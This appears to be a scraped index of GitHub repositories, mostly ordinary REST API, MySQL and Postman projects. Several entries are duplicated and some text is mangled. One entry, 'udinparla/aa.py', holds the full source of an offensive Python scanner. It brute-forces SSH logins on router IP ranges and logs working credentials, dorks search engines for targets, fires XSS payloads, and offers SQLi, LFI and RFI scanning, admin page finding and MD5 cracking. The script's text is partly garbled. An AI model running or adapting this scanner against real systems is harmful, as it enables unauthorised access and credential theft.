Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
